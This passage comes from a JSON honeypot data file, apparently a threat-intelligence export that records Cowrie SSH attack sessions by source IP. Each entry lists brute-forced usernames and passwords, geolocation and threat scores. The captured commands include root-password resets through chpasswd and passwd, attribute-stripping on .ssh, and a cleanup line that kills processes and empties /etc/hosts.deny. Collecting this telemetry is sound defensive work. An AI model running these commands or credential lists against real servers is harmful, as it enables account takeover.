        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Lr8JhRhXDqPJ\"|chpasswd|bash",
        "echo \"root:NR03dBnY26Zo\"|chpasswd|bash",
        "echo \"root:qY8p7IJfzwaq\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ellensburg",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 482,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:43:25.999000+00:00",
        "last_seen_30d": "2026-05-23T15:45:06.623000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 98
      }
    },
    "175.0.37.146": {
      "attack_count": 348,
      "first_seen": "2026-05-21T17:56:36.645Z",
      "last_seen": "2026-05-22T09:47:59.793Z",
      "sessions": 174,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:56:36.645000+00:00",
        "last_seen_30d": "2026-05-22T09:49:07.626000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 348,
        "Suricata": 174
      }
    },
    "34.78.29.97": {
      "attack_count": 341,
      "first_seen": "2026-05-28T18:42:34.751Z",
      "last_seen": "2026-05-28T23:17:40.913Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "administrator",
        "ann",
        "aryan",
        "ashok",
        "dev",
        "devops",
        "jasmin",
        "jenkins",
        "jj",
        "salman",
        "steam",
        "www-data"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "fjbdfdjkdsfs541544",
        "12345678",
        "1234qwerASDF",
        "123qwe",
        "13141314",
        "1q2w3e4r5T",
        "ABcd@1234",
        "Dd112211",
        "King@123",
        "P@ssW0rd",
        "P@ssw0rd",
        "Qwer@123",
        "ab123123",
        "ali",
        "ann12345",
        "aryan123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nRwdqNYyoGFJC\\nRwdqNYyoGFJC\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nQmJ5mrBByWPL\\nQmJ5mrBByWPL\\n\"|passwd",
        "echo \"root:TzXP6YFu1gYE\"|chpasswd|bash",
        "echo -e \"123456\\nRwdqNYyoGFJC\\nRwdqNYyoGFJC\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nQmJ5mrBByWPL\\nQmJ5mrBByWPL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 416,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:42:34.751000+00:00",
        "last_seen_30d": "2026-05-28T23:18:43.820000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 75
      }
    },
    "222.107.254.30": {
      "attack_count": 326,
      "first_seen": "2026-05-24T12:13:19.472Z",
      "last_seen": "2026-05-25T01:54:53.322Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "sonarqube",
        "admin",
        "alireza",
        "backend",
        "cloud",
        "dev",
        "hz",
        "intel",
        "jitendra",
        "me",
        "sinusbot",
        "ubuntu",
        "www-data"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1111",
        "123",
        "123456",
        "123456Lh",
        "123QWEqwe",
        "Aa12345678",
        "Admin@2025",
        "Qwe12345.",
        "Test@123",
        "Wangsu@2017",
        "abc",
        "alireza123",
        "backend",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "jitendra@123",
        "me"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:NQgSX37IZQvu\"|chpasswd|bash",
        "echo \"sonarqube\\nJu1Ckncj0961\\nJu1Ckncj0961\\n\"|passwd",
        "echo \"welltech12\\nM6F0jAcS9xvS\\nM6F0jAcS9xvS\\n\"|passwd",
        "echo -e \"sonarqube\\nJu1Ckncj0961\\nJu1Ckncj0961\"|passwd|bash",
        "echo -e \"welltech12\\nM6F0jAcS9xvS\\nM6F0jAcS9xvS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:13:19.472000+00:00",
        "last_seen_30d": "2026-05-25T01:55:59.830000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 78
      }
    },
    "161.97.186.202": {
      "attack_count": 286,
      "first_seen": "2026-05-04T16:26:12.133Z",
      "last_seen": "2026-05-04T16:55:29.178Z",
      "sessions": 143,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 433,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:26:12.133000+00:00",
        "last_seen_30d": "2026-05-04T16:56:30.538000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 147
      }
    },
    "213.21.248.107": {
      "attack_count": 232,
      "first_seen": "2026-05-25T11:20:16.302Z",
      "last_seen": "2026-05-25T12:19:48.065Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "curl",
        "debian",
        "mahesh",
        "npadmin",
        "odoo17",
        "root1",
        "sabina",
        "tb",
        "ubadmin",
        "valheim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456789@Ab",
        "Pakistan@123",
        "Pass123!",
        "Wangsu@2017",
        "dodol123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "mahesh",
        "npadmin",
        "qwer12345",
        "root",
        "root123",
        "sabina123",
        "tb",
        "ubadmin",
        "valheim123",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\n02WBhrG4oDw3\\n02WBhrG4oDw3\\n\"|passwd",
        "echo \"root:XLmmbx5xVFwY\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\n02WBhrG4oDw3\\n02WBhrG4oDw3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": null,
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:20:16.302000+00:00",
        "last_seen_30d": "2026-05-25T12:20:55.058000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 56
      }
    },
    "221.163.5.228": {
      "attack_count": 229,
      "first_seen": "2026-05-23T01:12:41.778Z",
      "last_seen": "2026-05-23T16:53:34.899Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "aroot",
        "glenn",
        "345gs5662d34",
        "astra",
        "autrede",
        "cam",
        "eduardo",
        "jeremy",
        "jerry",
        "prometheus",
        "s",
        "saeed",
        "steam",
        "user1",
        "vincent"
      ],
      "passwords_attempted": [
        "aroot",
        "12345Qwerty",
        "1a2b3c4d",
        "1qazXDR%",
        "2wsx!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@1234",
        "Asd123!@#",
        "Google123",
        "Huawei@123",
        "P4ssword",
        "Qq123456",
        "Zy123456",
        "a123456@",
        "astra",
        "autrede",
        "cam",
        "eduardo",
        "glenn123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"glenn123\\n4dby8ZEVYKM4\\n4dby8ZEVYKM4\\n\"|passwd",
        "echo -e \"glenn123\\n4dby8ZEVYKM4\\n4dby8ZEVYKM4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:12:41.778000+00:00",
        "last_seen_30d": "2026-05-23T16:54:35.976000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 229,
        "Suricata": 86
      }
    },
    "61.78.121.78": {
      "attack_count": 218,
      "first_seen": "2026-05-03T15:11:06.015Z",
      "last_seen": "2026-05-03T15:45:42.448Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "ali",
        "demo",
        "esuser",
        "mysql",
        "sammy",
        "testuser1"
      ],
      "passwords_attempted": [
        "!QAZ2wsx2024",
        "111111",
        "123456aA!!",
        "12345Abc",
        "123qwe",
        "1qazxsw2#",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCDabcd123",
        "Aa123456",
        "Brutal123",
        "Digital@2026",
        "Hs123456.",
        "P@ssw0rd123!",
        "P@ssw0rd4321",
        "Qq12345",
        "Qwer+1234",
        "abc@123",
        "dolphin123",
        "killer12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pNuFBFq16lw4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:11:06.015000+00:00",
        "last_seen_30d": "2026-05-03T15:46:45.891000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "94.156.180.31": {
      "attack_count": 213,
      "first_seen": "2026-05-23T16:21:47.504Z",
      "last_seen": "2026-05-23T17:13:47.534Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "345gs5662d34",
        "odoo17",
        "steam",
        "flussonic",
        "ftpuser",
        "michael",
        "sammy",
        "test1",
        "unturned",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "abcd",
        "admin123!@#",
        "flussonic",
        "michael2025",
        "odoo17@2025",
        "qwerty123",
        "root",
        "steampass",
        "unturned"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin123!@#\\nVAHkaJmumD9q\\nVAHkaJmumD9q\\n\"|passwd",
        "echo \"odoo17@2025\\n1x7yn6Leup8p\\n1x7yn6Leup8p\\n\"|passwd",
        "echo -e \"admin123!@#\\nVAHkaJmumD9q\\nVAHkaJmumD9q\"|passwd|bash",
        "echo -e \"odoo17@2025\\n1x7yn6Leup8p\\n1x7yn6Leup8p\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 207957,
      "as_org": "Serv.host Group Ltd",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:21:47.504000+00:00",
        "last_seen_30d": "2026-05-23T17:14:53.260000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 48
      }
    },
    "43.166.242.149": {
      "attack_count": 204,
      "first_seen": "2026-05-17T18:27:12.451Z",
      "last_seen": "2026-05-23T14:14:22.588Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "newuser",
        "sftpuser",
        "sysadmin"
      ],
      "passwords_attempted": [
        "12345678",
        "123$qwer",
        "12345678910",
        "135858",
        "2024",
        "Aa222222",
        "Asd12345@",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "iddqd",
        "morgan",
        "mortimer",
        "password.1",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "echo \"root:4ayPJ5FfeQxS\"|chpasswd|bash",
        "echo \"root:uPcCu4HaKsrt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:27:12.451000+00:00",
        "last_seen_30d": "2026-05-23T14:15:27.857000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 79
      }
    },
    "107.6.54.134": {
      "attack_count": 182,
      "first_seen": "2026-05-02T06:57:16.074Z",
      "last_seen": "2026-05-02T07:11:55.482Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 13768,
      "as_org": "Aptum Technologies",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:57:16.074000+00:00",
        "last_seen_30d": "2026-05-11T09:55:08.713000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 95
      }
    },
    "91.204.208.73": {
      "attack_count": 170,
      "first_seen": "2026-05-04T16:31:48.884Z",
      "last_seen": "2026-05-04T16:54:49.943Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 52148,
      "as_org": "Enix Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:31:48.884000+00:00",
        "last_seen_30d": "2026-05-04T16:55:59.674000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 108
      }
    },
    "78.44.192.210": {
      "attack_count": 153,
      "first_seen": "2026-05-27T05:38:44.152Z",
      "last_seen": "2026-05-27T05:49:38.118Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "daniel",
        "dspace",
        "elk",
        "jenkins",
        "lilei",
        "pgadmin",
        "systemd",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "123123!@#",
        "12321",
        "123456",
        "2357",
        "3245gs5662d34",
        "336699",
        "345gs5662d34",
        "Pa$$w0rd",
        "Tt123456",
        "Voidsetdownload.so",
        "asdfasdf123",
        "asdzxc",
        "elk",
        "fjbdfdjkdsfs541544AA@@",
        "pass",
        "pgadmin123",
        "yy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:T1dMaXu2QSeV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 16019,
      "as_org": "Vodafone Czech Republic a.s.",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:38:44.152000+00:00",
        "last_seen_30d": "2026-05-27T05:50:39.077000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 41
      }
    },
    "152.32.214.55": {
      "attack_count": 144,
      "first_seen": "2026-05-21T21:48:38.720Z",
      "last_seen": "2026-05-21T22:42:13.899Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "mapadmin",
        "345gs5662d34",
        "admin",
        "administrador",
        "administrator",
        "alex",
        "backupuser",
        "erp",
        "root/bin"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "1q2w3e",
        "21ops.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123456#",
        "Admin@2025",
        "Backupuser123!",
        "Pass@12345",
        "Qw123456789",
        "erp",
        "google123",
        "mapadmin",
        "qweasd123",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mapadmin\\nSmefoADBMURD\\nSmefoADBMURD\\n\"|passwd",
        "echo -e \"mapadmin\\nSmefoADBMURD\\nSmefoADBMURD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
